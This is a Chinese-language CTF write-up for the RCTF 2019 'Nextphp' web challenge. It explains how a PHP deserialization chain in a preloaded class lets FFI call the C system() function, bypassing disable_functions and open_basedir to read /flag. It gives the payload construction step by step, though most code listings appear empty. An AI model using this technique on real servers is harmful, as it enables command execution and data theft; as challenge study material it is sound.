RCTF 2019 - Web - Nextphp

RCTF 2019 - Web - Nextphp
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | RCTF 2019 |
| 方向 | Web |
| 难度 | 困难 |
| 环境 | 授权靶场(已脱敏) |
考点:PHP 反序列化、disable_functions 绕过、open_basedir 绕过、FFI。
信息收集
访问首页得到 index.php 源码:
1 |
|
环境信息:
1 | PHP 7.4.0-dev |
/var/www/html 下只有 index.php 和 preload.php。
preload.php 源码
1 |
|
漏洞分析
1. eval 后门
index.php 里 eval($_GET['a']) 是直接后门,可以执行任意 PHP 代码。但受 disable_functions 和 open_basedir 双重限制,无法直接读 /flag。
2. ffi.enable=preload 的限制与绕过
ffi.enable = preload 表示 FFI API 只能在 opcache preload 阶段调用。如果直接在 eval 里调用 FFI::cdef(),会抛出:
1 | FFI\Exception: FFI API is restricted by "ffi.enable" configuration directive |
但关键点在于:A 类定义在 preload.php(opcache.preload 指定的文件)里。当通过 A 类的方法调用 FFI::cdef 时,PHP 认为当前执行处于 preload 上下文,因此 FFI 可用。
3. 反序列化链
A 类实现了 Serializable 接口:
serialize()返回serialize($this->data)unserialize($payload)里$this->data = unserialize($payload); $this->run();
由于实现了 Serializable,用 C: 格式序列化时会调用 Serializable::unserialize()(而非 __unserialize())。
run() 方法执行 $this->data['func']($this->data['arg']),其中 func 和 arg 都由我们通过反序列化控制。
把 func 设为 "FFI::cdef",arg 设为 C 声明字符串 "int system(const char *command);",即可在 preload 上下文中创建 FFI 对象(返回存入 ret)。
利用过程
- 构造
$data = array('func' => 'FFI::cdef', 'arg' => 'int system(const char *command);') $inner = serialize($data)- 构造
C:格式:$c = 'C:1:"A":' . strlen($inner) . ':{' . $inner . '}' $o = unserialize($c)→ 触发A::unserialize()→run()→FFI::cdef("int system(const char *command);"),返回 FFI 对象存入$o->ret- 通过
$o->ret->system('cat /flag > /var/www/html/flag.txt 2>&1')执行系统命令,把 flag 写到 open_basedir 内的文件 file_get_contents('/var/www/html/flag.txt')读回 flag
system 的输出不会直接回显到 PHP 输出缓冲,需要重定向到文件再读回(或使用 popen/fgets 捕获)。
完整 EXP
归档 payload(脱敏后重组,目标地址已替换为占位)。
1 | import urllib.request, urllib.parse |
等价的 PHP 最终 payload:
1 | $data = array("func"=>"FFI::cdef", "arg"=>"int system(const char *command);"); |
Flag
脱敏后:flag{xxxx}。原值为 CTF2 格式,经 FFI 调用 system 把 /flag 重定向到 open_basedir 内文件后读回得到。
踩坑与总结
ffi.enable=preload限制 FFI 只能在 preload 阶段调用,但通过 preload 文件里定义的类的反序列化链可以间接在 preload 上下文调用 FFI。- 实现了
Serializable的类用C:格式反序列化,调用的是Serializable::unserialize(),不是__unserialize()。 - FFI 对象可以调用任意 C 函数(如
system),从而绕过disable_functions。 system的输出不会直接回显到 PHP 输出缓冲,需要重定向到open_basedir允许的文件再读回。A类的__construct/__set都抛异常,只能靠unserialize注入 data,不能直接 new。








